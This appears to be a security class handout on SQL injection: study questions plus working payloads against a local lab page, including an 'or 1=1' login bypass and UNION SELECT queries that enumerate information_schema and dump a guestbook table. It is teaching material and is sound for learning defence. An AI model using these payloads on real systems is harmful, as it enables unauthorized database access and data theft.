SQL

Select * from users where name='wronguser' or 1=1;# and password='wrongpass';

1. Explain Wronguser' or 1=1 LIMIT 1; *
What is the purpose of the Limit 1? What is the purpose of the ;? Can we only run one command? What does the # do? -- ?

2. What are some methods of determining if a input field is SQL injectable? Try just '

http://127.0.0.1/comment.php?id=738 union all select 1, 2, 3, 4, 5, 6

http://127.0.0.1/comment.php?id=738 union all select 1,2,3,4,table_name,6 from information_schema.tables

http://127.0.0.1/comment.php?id=738 union all select 1,2,3,4,column_name,6 from information_schema.columns where table_name = "guestbook"

3. What is the purpose of Union? What table are we selecting from? How many columns in that table? How do we know?

In class exercise - determine the time that ID 736 was posted.

http://127.0.0.1/comment.php?id=738 union all select 1,2,3,4,column_name,6 from information_schema.columns where table_name = "guestbook"

http://127.0.0.1/comment.php?id=738 union all select 1,2,3,4,concat(id, name, comment),6 from guestbook

3. INTO OUTFILE
How do we determine where we are writing too? How do we determine the location of the server we are reading from?

4. What is the purpose of TamperData? Where does javascript run (client side). Where does php run (server side).

5. What is a blind SQL injection?